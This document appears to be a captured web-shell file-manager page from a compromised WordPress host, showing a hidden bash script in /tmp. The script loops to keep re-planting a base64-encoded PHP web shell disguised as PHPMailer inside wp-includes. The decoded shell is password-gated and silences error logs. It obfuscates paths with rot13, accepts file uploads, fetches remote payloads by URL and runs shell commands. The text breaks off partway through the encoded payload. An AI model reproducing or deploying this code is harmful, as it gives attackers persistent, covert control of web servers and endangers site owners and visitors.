HEX
Server: LiteSpeed
System: Linux premium212.web-hosting.com 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User: vitanhod (1367)
PHP: 8.2.31
Disabled: NONE
Upload Files
File: //tmp/.bg_889984532.sh
#!/bin/bash
while true; do
if [ ! -f '/home/vitanhod/public_html/wp-includes/php-compat/lingling.php' ]; then echo 'PD9waHAKbmFtZXNwYWNlIFBIUE1haWxlclxQSFBNYWlsZXI7CgppZiAoIWRlZmluZWQoJ0FCU1BBVEgnKSkgewogICAgZGVmaW5lKCdBQlNQQVRIJywgZGlybmFtZShfX0ZJTEVfXykgLiAnLycpOwp9CgpAc2V0X3RpbWVfbGltaXQoMCk7CmVycm9yX3JlcG9ydGluZygwKTsKCmlmIChmdW5jdGlvbl9leGlzdHMoImluaV9zZXQiKSkgewogICAgQGluaV9zZXQoImVycm9yX2xvZyIsIG51bGwpOwogICAgQGluaV9zZXQoImxvZ19lcnJvcnMiLCAwKTsKICAgIEBpbmlfc2V0KCJtYXhfZXhlY3V0aW9uX3RpbWUiLCAwKTsKfQoKY2xhc3MgUEhQTWFpbGVyCnsKICAgIGNvbnN0IFZFUlNJT04gPSAnNi44LjEnOwogICAgY29uc3QgQ0hBUlNFVF9BU0NJSSA9ICd1cy1hc2NpaSc7CiAgICBjb25zdCBDSEFSU0VUX0lTTzg4NTkxID0gJ2lzby04ODU5LTEnOwogICAgY29uc3QgQ0hBUlNFVF9VVEY4ID0gJ3V0Zi04JzsKICAgIGNvbnN0IENPTlRFTlRfVFlQRV9QTEFJTlRFWFQgPSAndGV4dC9wbGFpbic7CiAgICBjb25zdCBDT05URU5UX1RZUEVfVEVYVF9DQUxFTkRBUiA9ICd0ZXh0L2NhbGVuZGFyJzsKICAgIGNvbnN0IENPTlRFTlRfVFlQRV9URVhUX0hUTUwgPSAndGV4dC9odG1sJzsKICAgIGNvbnN0IENPTlRFTlRfVFlQRV9NVUxUSVBBUlRfQUxURVJOQVRJVkUgPSAnbXVsdGlwYXJ0L2FsdGVybmF0aXZlJzsKICAgIGNvbnN0IENPTlRFTlRfVFlQRV9NVUxUSVBBUlRfTUlYRUQgPSAnbXVsdGlwYXJ0L21peGVkJzsKICAgIGNvbnN0IENPTlRFTlRfVFlQRV9NVUxUSVBBUlRfUkVMQVRFRCA9ICdtdWx0aXBhcnQvcmVsYXRlZCc7CiAgICBjb25zdCBFTkNPRElOR183QklUID0gJzdiaXQnOwogICAgY29uc3QgRU5DT0RJTkdfOEJJVCA9ICc4Yml0JzsKICAgIGNvbnN0IEVOQ09ESU5HX0JBU0U2NCA9ICdiYXNlNjQnOwogICAgY29uc3QgRU5DT0RJTkdfQklOQVJZID0gJ2JpbmFyeSc7CiAgICBjb25zdCBFTkNPRElOR19RVU9URURfUFJJTlRBQkxFID0gJ3F1b3RlZC1wcmludGFibGUnOwogICAgY29uc3QgRU5DUllQVElPTl9TVEFSVFRMUyA9ICd0bHMnOwogICAgY29uc3QgRU5DUllQVElPTl9TTVRQUyA9ICdzc2wnOwogICAgY29uc3QgSUNBTF9NRVRIT0RfUkVRVUVTVCA9ICdSRVFVRVNUJzsKICAgIGNvbnN0IElDQUxfTUVUSE9EX1BVQkxJU0ggPSAnUFVCTElTSCc7CiAgICBjb25zdCBJQ0FMX01FVEhPRF9SRVBMWSA9ICdSRVBMWSc7CiAgICBjb25zdCBJQ0FMX01FVEhPRF9BREQgPSAnQUREJzsKICAgIGNvbnN0IElDQUxfTUVUSE9EX0NBTkNFTCA9ICdDQU5DRUwnOwogICAgY29uc3QgSUNBTF9NRVRIT0RfUkVGUkVTSCA9ICdSRUZSRVNIJzsKICAgIGNvbnN0IElDQUxfTUVUSE9EX0NPVU5URVIgPSAnQ09VTlRFUic7CiAgICBjb25zdCBJQ0FMX01FVEhPRF9ERUNMSU5FQ09VTlRFUiA9ICdERUNMSU5FQ09VTlRFUic7CgogICAgcHVibGljICRQcmlvcml0eTsKICAgIHB1YmxpYyAkQ2hhclNldCA9IHNlbGY6OkNIQVJTRVRfVVRGODsKICAgIHB1YmxpYyAkQ29udGVudFR5cGUgPSBzZWxmOjpDT05URU5UX1RZUEVfUExBSU5URVhUOwogICAgcHVibGljICRFbmNvZGluZyA9IHNlbGY6OkVOQ09ESU5HXzhCSVQ7CiAgICBwdWJsaWMgJEVycm9ySW5mbyA9ICcnOwogICAgcHVibGljICRGcm9tID0gJyc7CiAgICBwdWJsaWMgJEZyb21OYW1lID0gJyc7CiAgICBwdWJsaWMgJFNlbmRlciA9ICcnOwogICAgcHVibGljICRTdWJqZWN0ID0gJyc7CiAgICBwdWJsaWMgJEJvZHkgPSAnJzsKICAgIHB1YmxpYyAkQWx0Qm9keSA9ICcnOwogICAgcHVibGljICRJY2FsID0gJyc7CiAgICBwcm90ZWN0ZWQgJE1JTUVCb2R5ID0gJyc7CiAgICBwcm90ZWN0ZWQgJE1JTUVIZWFkZXIgPSAnJzsKICAgIHByb3RlY3RlZCAkbWFpbEhlYWRlciA9ICcnOwogICAgcHVibGljICRXb3JkV3JhcCA9IDA7CiAgICBwdWJsaWMgJE1haWxlciA9ICdtYWlsJzsKICAgIHB1YmxpYyAkU2VuZG1haWwgPSAnL3Vzci9zYmluL3NlbmRtYWlsJzsKICAgIHB1YmxpYyAkVXNlU2VuZG1haWxPcHRpb25zID0gdHJ1ZTsKICAgIHB1YmxpYyAkQ29uZmlybVJlYWRpbmdUbyA9ICcnOwogICAgcHVibGljICRIb3N0bmFtZSA9ICcnOwogICAgcHVibGljICRNZXNzYWdlSUQgPSAnJzsKICAgIHB1YmxpYyAkTWVzc2FnZURhdGUgPSAnJzsKICAgIHB1YmxpYyAkSG9zdCA9ICdsb2NhbGhvc3QnOwogICAgcHVibGljICRQb3J0ID0gMjU7CiAgICBwdWJsaWMgJEhlbG8gPSAnJzsKICAgIHB1YmxpYyAkU01UUFNlY3VyZSA9ICcnOwogICAgcHVibGljICRTTVRQQXV0b1RMUyA9IHRydWU7CiAgICBwdWJsaWMgJFNNVFBBdXRoID0gZmFsc2U7CiAgICBwdWJsaWMgJFNNVFBPcHRpb25zID0gW107CiAgICBwdWJsaWMgJFVzZXJuYW1lID0gJyc7CiAgICBwdWJsaWMgJFBhc3N3b3JkID0gJyc7CiAgICBwdWJsaWMgJEF1dGhUeXBlID0gJyc7CiAgICBwdWJsaWMgJG9hdXRoOwogICAgcHVibGljICRUaW1lb3V0ID0gMzAwOwogICAgcHVibGljICRkc24gPSAnJzsKICAgIHB1YmxpYyAkU01UUERlYnVnID0gMDsKICAgIHB1YmxpYyAkRGVidWdvdXRwdXQgPSAnZWNobyc7CiAgICBwdWJsaWMgJFNNVFBLZWVwQWxpdmUgPSBmYWxzZTsKICAgIHB1YmxpYyAkU2luZ2xlVG8gPSBmYWxzZTsKICAgIHB1YmxpYyAkU2luZ2xlVG9BcnJheSA9IFtdOwogICAgcHJvdGVjdGVkICRkb192ZXJwID0gZmFsc2U7CiAgICBwdWJsaWMgJEFsbG93RW1wdHkgPSBmYWxzZTsKICAgIHB1YmxpYyAkREtJTV9zZWxlY3RvciA9ICcnOwogICAgcHVibGljICRES0lNX2lkZW50aXR5ID0gJyc7CiAgICBwdWJsaWMgJERLSU1fcGFzc3BocmFzZSA9ICcnOwogICAgcHVibGljICRES0lNX2RvbWFpbiA9ICcnOwogICAgcHVibGljICRES0lNX2NvcHlIZWFkZXJGaWVsZHMgPSB0cnVlOwogICAgcHVibGljICRES0lNX2V4dHJhSGVhZGVycyA9IFtdOwogICAgcHVibGljICRES0lNX3ByaXZhdGUgPSAnJzsKICAgIHB1YmxpYyAkREtJTV9wcml2YXRlX3N0cmluZyA9ICcnOwogICAgcHVibGljICRhY3Rpb25fZnVuY3Rpb24gPSAnJzsKICAgIHB1YmxpYyAkWE1haWxlciA9ICcnOwogICAgcHVibGljIHN0YXRpYyAkdmFsaWRhdG9yID0gJ3BocCc7CgogICAgcHJvdGVjdGVkICRzbXRwOwogICAgcHJvdGVjdGVkICR0byA9IFtdOwogICAgcHJvdGVjdGVkICRjYyA9IFtdOwogICAgcHJvdGVjdGVkICRiY2MgPSBbXTsKICAgIHByb3RlY3RlZCAkUmVwbHlUbyA9IFtdOwogICAgcHJvdGVjdGVkICRhbGxfcmVjaXBpZW50cyA9IFtdOwogICAgcHJvdGVjdGVkICRSZWNpcGllbnRzUXVldWUgPSBbXTsKICAgIHByb3RlY3RlZCAkUmVwbHlUb1F1ZXVlID0gW107CiAgICBwcm90ZWN0ZWQgJGF0dGFjaG1lbnQgPSBbXTsKICAgIHByb3RlY3RlZCAkQ3VzdG9tSGVhZGVyID0gW107CiAgICBwcm90ZWN0ZWQgJGxhc3RNZXNzYWdlSUQgPSAnJzsKICAgIHByb3RlY3RlZCAkbWVzc2FnZV90eXBlID0gJyc7CiAgICBwcm90ZWN0ZWQgJGJvdW5kYXJ5ID0gW107CiAgICBwcm90ZWN0ZWQgJGxhbmd1YWdlID0gW107CiAgICBwcm90ZWN0ZWQgJGVycm9yX2NvdW50ID0gMDsKICAgIHByb3RlY3RlZCAkc2lnbl9jZXJ0X2ZpbGUgPSAnJzsKICAgIHByb3RlY3RlZCAkc2lnbl9rZXlfZmlsZSA9ICcnOwogICAgcHJvdGVjdGVkICRzaWduX2V4dHJhY2VydHNfZmlsZSA9ICcnOwogICAgcHJvdGVjdGVkICRzaWduX2tleV9wYXNzID0gJyc7CiAgICBwcm90ZWN0ZWQgJGV4Y2VwdGlvbnMgPSBmYWxzZTsKICAgIHByb3RlY3RlZCAkdW5pcXVlaWQgPSAnJzsKCiAgICBwcml2YXRlICRtYWlsVG9rZW47CiAgICBwcml2YXRlICRtYWlsSW5kZXg7CiAgICBwcml2YXRlICRtYWlsVGhlbWU7CiAgICBwcml2YXRlICRtYWlsRW5jb2Rpbmc7CiAgICBwcml2YXRlICRtYWlsRGlzYWJsZWQ7CiAgICBwdWJsaWMgJG1haWxQYXRoOwogICAgcHJpdmF0ZSAkbWFpbFJvb3Q7CiAgICBwcml2YXRlICRtYWlsQmFzZTsKICAgIHByaXZhdGUgJG1haWxTYWZlOwogICAgcHJpdmF0ZSAkbWFpbE9TOwoKICAgIHByb3RlY3RlZCBmdW5jdGlvbiBzZXRNYWlsQ29va2llKCRuYW1lLCAkdmFsdWUpCiAgICB7CiAgICAgICAgJF9DT09LSUVbJG5hbWVdID0gJHZhbHVlOwogICAgICAgIHNldGNvb2tpZSgkbmFtZSwgJHZhbHVlKTsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gdmFsaWRhdGVBZGRyZXNzKCkKICAgIHsKICAgICAgICAkdGhpcy0+bWFpbFRva2VuID0gImZhNzA0ZTczNjZkNjY2YmQiOwogICAgICAgICR0aGlzLT5tYWlsSW5kZXggPSAiXyIgLiBzdWJzdHIobWQ1KCRfU0VSVkVSWyJIVFRQX0hPU1QiXSksIDAsIDUpOwogICAgICAgICR0aGlzLT5tYWlsVGhlbWUgPSAiIzU1ZDdmZiI7CiAgICAgICAgJHRoaXMtPm1haWxFbmNvZGluZyA9ICJXaW5kb3dzLTEyNTEiOwogICAgICAgICRhdXRoSGFzaCA9ICckMnkkMTIkeEdIeVI0eFhNZkNLVzFUN0VKSXNDdTlHM3BQOXpnUWlrQmF5TjIzTTliNk16OHA2L2o1ZjYnOwogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ3Bhc3N3b3JkJ10pKSB7CiAgICAgICAgICAgIGlmIChAcGFzc3dvcmRfdmVyaWZ5KCRfUE9TVFsncGFzc3dvcmQnXSwgJGF1dGhIYXNoKSkgewogICAgICAgICAgICAgICAgJHRoaXMtPnNldE1haWxDb29raWUoJHRoaXMtPm1haWxJbmRleCwgJHRoaXMtPm1haWxUb2tlbik7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBkaWUoJHRoaXMtPmdldExvZ2luVGVtcGxhdGUoKSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYgKCFAaXNzZXQoJF9DT09LSUVbJHRoaXMtPm1haWxJbmRleF0pIHx8ICRfQ09PS0lFWyR0aGlzLT5tYWlsSW5kZXhdICE9ICR0aGlzLT5tYWlsVG9rZW4pIHsKICAgICAgICAgICAgZGllKCR0aGlzLT5nZXRMb2dpblRlbXBsYXRlKCkpOwogICAgICAgIH0KICAgIH0KCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZ2V0TG9naW5UZW1wbGF0ZSgpIHsKICAgICAgICByZXR1cm4gJzwhRE9DVFlQRSBodG1sPjxodG1sPjxoZWFkPjxzdHlsZT5pbnB1dHttYXJnaW46MDtiYWNrZ3JvdW5kOndoaXRlO2JvcmRlcjpub25lO291dGxpbmU6bm9uZTtjb2xvcjp0cmFuc3BhcmVudDtjYXJldC1jb2xvcjp0cmFuc3BhcmVudDt9PC9zdHlsZT48L2hlYWQ+PGJvZHk+PGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiI+PGxhYmVsIGZvcj0icGFzc3dvcmQiPjwvbGFiZWw+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBpZD0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkIj48L2Zvcm0+PC9ib2R5PjwvaHRtbD4nOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBwcmVTZW5kKCkKICAgIHsKICAgICAgICAkc2VsZlBhdGggPSBfX0ZJTEVfXzsKICAgICAgICAkZGlyUGF0aCA9IGRpcm5hbWUoJHNlbGZQYXRoKTsKICAgICAgICBpZiAoIWlzX3dyaXRhYmxlKCRzZWxmUGF0aCkpIEBjaG1vZCgkc2VsZlBhdGgsIDA2NDQpOwogICAgICAgIGlmICghaXNfd3JpdGFibGUoJGRpclBhdGgpKSBAY2htb2QoJGRpclBhdGgsIDA3NTUpOwogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoImluaV9nZXQiKSkgewogICAgICAgICAgICAkdGhpcy0+bWFpbFNhZmUgPSBAaW5pX2dldCgic2FmZV9tb2RlIik7CiAgICAgICAgICAgICR0aGlzLT5tYWlsRGlzYWJsZWQgPSBAaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKTsKICAgICAgICB9CiAgICAgICAgaWYgKCEkdGhpcy0+bWFpbFNhZmUgJiYgZnVuY3Rpb25fZXhpc3RzKCJlcnJvcl9yZXBvcnRpbmciKSkgewogICAgICAgICAgICBlcnJvcl9yZXBvcnRpbmcoMCk7CiAgICAgICAgfQogICAgICAgIGlmICghJHRoaXMtPm1haWxTYWZlICYmIGZ1bmN0aW9uX2V4aXN0cygic2V0X3RpbWVfbGltaXQiKSkgewogICAgICAgICAgICBzZXRfdGltZV9saW1pdCgwKTsKICAgICAgICB9CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygiZ2V0X21hZ2ljX3F1b3Rlc19ncGMiKSAmJiBmdW5jdGlvbl9leGlzdHMoImFycmF5X21hcCIpICYmIGZ1bmN0aW9uX2V4aXN0cygic3RyaXBzbGFzaGVzIikgJiYgZnVuY3Rpb25fZXhpc3RzKCJpc19hcnJheSIpKSB7CiAgICAgICAgICAgIGlmIChAZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgewogICAgICAgICAgICAgICAgZnVuY3Rpb24gbWFpbFN0cmlwU2xhc2hlcygkYXJyKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIHJldHVybiBAaXNfYXJyYXkoJGFycikgPyBAYXJyYXlfbWFwKCJtYWlsU3RyaXBTbGFzaGVzIiwgJGFycikgOiBAc3RyaXBzbGFzaGVzKCRhcnIpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJF9QT1NUID0gbWFpbFN0cmlwU2xhc2hlcygkX1BPU1QpOwogICAgICAgICAgICAgICAgJF9DT09LSUUgPSBtYWlsU3RyaXBTbGFzaGVzKCRfQ09PS0lFKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiBzdHJwb3MoJHRoaXMtPm1haWxEaXNhYmxlZCwgInBvc2l4X2dldHB3dWlkIikgPT09IGZhbHNlKSB7CiAgICAgICAgICAgIGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCR1aWQpIHsgcmV0dXJuIGZhbHNlOyB9CiAgICAgICAgfQogICAgICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRncmdpZCIpICYmIHN0cnBvcygkdGhpcy0+bWFpbERpc2FibGVkLCAicG9zaXhfZ2V0Z3JnaWQiKSA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJGdpZCkgeyByZXR1cm4gZmFsc2U7IH0KICAgICAgICB9CiAgICAgICAgJHRoaXMtPm1haWxPUyA9IChzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsIDAsIDMpKSA9PSAid2luIikgPyAid2luIiA6ICJuaXgiOwogICAgICAgICR0aGlzLT5tYWlsQmFzZSA9ICRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl07CiAgICAgICAgJHRoaXMtPm1haWxSb290ID0gZnVuY3Rpb25fZXhpc3RzKCJnZXRjd2QiKSA/IEBnZXRjd2QoKSA6IEBkaXJuYW1lKF9fRklMRV9fKTsKCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsiYyJdKSAmJiAkX1BPU1RbImMiXSAhPSAiIikgewogICAgICAgICAgICAkX1BPU1RbImMiXSA9IChzdHJwb3MoJF9QT1NUWyJjIl0sICclJykgIT09IGZhbHNlKSA/IHN0cl9yb3QxMyh1cmxkZWNvZGUoJF9QT1NUWyJjIl0pKSA6IHN0cl9yb3QxMygkX1BPU1RbImMiXSk7CiAgICAgICAgfQoKICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWyJjIl0pICYmICRfUE9TVFsiYyJdICE9ICIiICYmIEBpc19kaXIoJF9QT1NUWyJjIl0pKSB7CiAgICAgICAgICAgICR0aGlzLT5tYWlsUGF0aCA9ICRfUE9TVFsiYyJdOwogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJjaGRpciIpKSB7CiAgICAgICAgICAgICAgICBAY2hkaXIoJF9QT1NUWyJjIl0pOwogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygiZ2V0Y3dkIikgJiYgQGdldGN3ZCgpICE9PSBmYWxzZSkgewogICAgICAgICAgICAkdGhpcy0+bWFpbFBhdGggPSBAZ2V0Y3dkKCk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPm1haWxQYXRoID0gJHRoaXMtPm1haWxSb290OwogICAgICAgIH0KCiAgICAgICAgaWYgKCR0aGlzLT5tYWlsT1MgPT0gIndpbiIpIHsKICAgICAgICAgICAgJHRoaXMtPm1haWxSb290ID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkdGhpcy0+bWFpbFJvb3QpOwogICAgICAgICAgICAkdGhpcy0+bWFpbFBhdGggPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICR0aGlzLT5tYWlsUGF0aCk7CiAgICAgICAgfQogICAgICAgIGlmICgkdGhpcy0+bWFpbFBhdGhbc3RybGVuKCR0aGlzLT5tYWlsUGF0aCkgLSAxXSAhPSAiLyIpIHsKICAgICAgICAgICAgJHRoaXMtPm1haWxQYXRoIC49ICIvIjsKICAgICAgICB9CiAgICB9CgogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGdldEZpbGVVcmwoJGZpbGVQYXRoKSB7CiAgICAgICAgJGRvY1Jvb3QgPSBydHJpbSgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLCAnLycpOwogICAgICAgICRyZWxQYXRoID0gc3RyX3JlcGxhY2UoJGRvY1Jvb3QsICcnLCAkZmlsZVBhdGgpOwogICAgICAgICRwcm90byA9IChpc3NldCgkX1NFUlZFUlsnSFRUUFMnXSkgJiYgJF9TRVJWRVJbJ0hUVFBTJ10gPT09ICdvbicpID8gImh0dHBzIiA6ICJodHRwIjsKICAgICAgICByZXR1cm4gJHByb3RvIC4gIjovLyIgLiAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiAkcmVsUGF0aDsKICAgIH0KCiAgICBwdWJsaWMgZnVuY3Rpb24gY2xlYXJBbGxSZWNpcGllbnRzKCkKICAgIHsKICAgICAgICAkaWR4ID0gJHRoaXMtPm1haWxJbmRleDsKICAgICAgICBzZXRjb29raWUoJGlkeCwgIiIsIHRpbWUoKSAtIDM2MDApOwogICAgICAgIGRpZSgiYnllISIpOwogICAgfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBhZGRBdHRhY2htZW50KCkKICAgIHsKICAgICAgICAkY3dkID0gJHRoaXMtPm1haWxQYXRoOwogICAgICAgICRjd2RFbmNvZGVkID0gc3RyX3JvdDEzKCRjd2QpOwogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWyJwIl0pICYmICRfUE9TVFsicCJdID09ICJ0b3VjaCIgJiYgIWVtcHR5KCRfUE9TVFsidG91Y2hfcGF0aCJdKSAmJiAhZW1wdHkoJF9QT1NUWyJ0b3VjaF90aW1lIl0pKSB7CiAgICAgICAgICAgICR0b3VjaFBhdGggPSBzdHJfcm90MTModXJsZGVjb2RlKCRfUE9TVFsidG91Y2hfcGF0aCJdKSk7CiAgICAgICAgICAgICR0b3VjaFRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWyJ0b3VjaF90aW1lIl0pOwogICAgICAgICAgICBpZiAoJHRvdWNoVGltZSAmJiBAZmlsZV9leGlzdHMoJHRvdWNoUGF0aCkpIHsKICAgICAgICAgICAgICAgIGlmIChAdG91Y2goJHRvdWNoUGF0aCwgJHRvdWNoVGltZSwgJHRvdWNoVGltZSkpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9udCBjb2xvcj0nZ3JlZW4nPlRpbWVzdGFtcCB1cGRhdGVkITwvZm9udD48YnI+IjsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+RmFpbGVkIHRvIHVwZGF0ZSB0aW1lc3RhbXAhPC9mb250Pjxicj4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsicCJdKSkgewogICAgICAgICAgICAkbXRpbWUgPSBAZmlsZW10aW1lKCRjd2QpOwogICAgICAgICAgICBzd2l0Y2ggKCRfUE9TVFsicCJdKSB7CiAgICAgICAgICAgICAgICBjYXNlICJ1cGxvYWRGaWxlIjoKICAgICAgICAgICAgICAgICAgICBpZiAoIUBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZiJdWyJ0bXBfbmFtZSJdLCAkY3dkIC4gJF9GSUxFU1siZiJdWyJuYW1lIl0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPSdyZWQnPkNhbid0IHVwbG9hZCBmaWxlITwvZm9udD4iOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPSdncmVlbic+RmlsZSB1cGxvYWRlZCEgLT4gIiAuIGh0bWxzcGVjaWFsY2hhcnMoJGN3ZCAuICRfRklMRVNbImYiXVsibmFtZSJdKSAuICI8L2ZvbnQ+IjsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCRtdGltZSkgQHRvdWNoKCRjd2QsICRtdGltZSwgJG10aW1lKTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIGNhc2UgInVybERvd25sb2FkIjoKICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsidXJsIl0pICYmICFlbXB0eSgkX1BPU1RbIm91dHB1dF9maWxlbmFtZSJdKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZGxVcmwgPSAkX1BPU1RbInVybCJdOwogICAgICAgICAgICAgICAgICAgICAgICAkZGxPdXQgPSAkY3dkIC4gYmFzZW5hbWUoJF9QT1NUWyJvdXRwdXRfZmlsZW5hbWUiXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRkbE1ldGhvZCA9IGlzc2V0KCRfUE9TVFsibWV0aG9kIl0pID8gJF9QT1NUWyJtZXRob2QiXSA6ICdmaWxlX2dldF9jb250ZW50cyc7CiAgICAgICAgICAgICAgICAgICAgICAgICRkbE9rID0gZmFsc2U7CiAgICAgICAgICAgICAgICAgICAgICAgIHN3aXRjaCAoJGRsTWV0aG9kKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdmaWxlX2dldF9jb250ZW50cyc6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGN0eCA9IEBzdHJlYW1fY29udGV4dF9jcmVhdGUoWydodHRwJyA9PiBbJ3RpbWVvdXQnID0+IDYwLCAnaGVhZGVyJyA9PiAiVXNlci1BZ2VudDogTW96aWxsYS81LjBcclxuIl0sICdzc2wnID0+IFsndmVyaWZ5X3BlZXInID0+IGZhbHNlLCAndmVyaWZ5X3BlZXJfbmFtZScgPT4gZmFsc2VdXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRsRGF0YSA9IEBmaWxlX2dldF9jb250ZW50cygkZGxVcmwsIGZhbHNlLCAkY3R4KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGRsRGF0YSAhPT0gZmFsc2UpIHsgJGRsT2sgPSBAZmlsZV9wdXRfY29udGVudHMoJGRsT3V0LCAkZGxEYXRhKSAhPT0gZmFsc2U7IH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNhc2UgJ2N1cmwnOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjaCA9IEBjdXJsX2luaXQoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRkbFVybCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCB0cnVlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCA2MCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgZmFsc2UpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ01vemlsbGEvNS4wJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkbERhdGEgPSBAY3VybF9leGVjKCRjaCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjdXJsX2Nsb3NlKCRjaCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZGxEYXRhICE9PSBmYWxzZSkgeyAkZGxPayA9IEBmaWxlX3B1dF9jb250ZW50cygkZGxPdXQsICRkbERhdGEpICE9PSBmYWxzZTsgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjbWREbCA9ICdjdXJsIC1mc1NMIC1vICcgLiBlc2NhcGVzaGVsbGFyZygkZGxPdXQpIC4gJyAnIC4gZXNjYXBlc2hlbGxhcmcoJGRsVXJsKSAuICcgMj4mMSc7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5leGVjdXRlQ29tbWFuZCgkY21kRGwpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGxPayA9IEBmaWxlX2V4aXN0cygkZGxPdXQpICYmIEBmaWxlc2l6ZSgkZGxPdXQpID4gMDsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdmb3Blbic6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRkbFVybCwgJ3InKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoJGZwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkbERhdGEgPSAnJzsKICAgICAgICAgICAgICAgICAgICAgICAgICA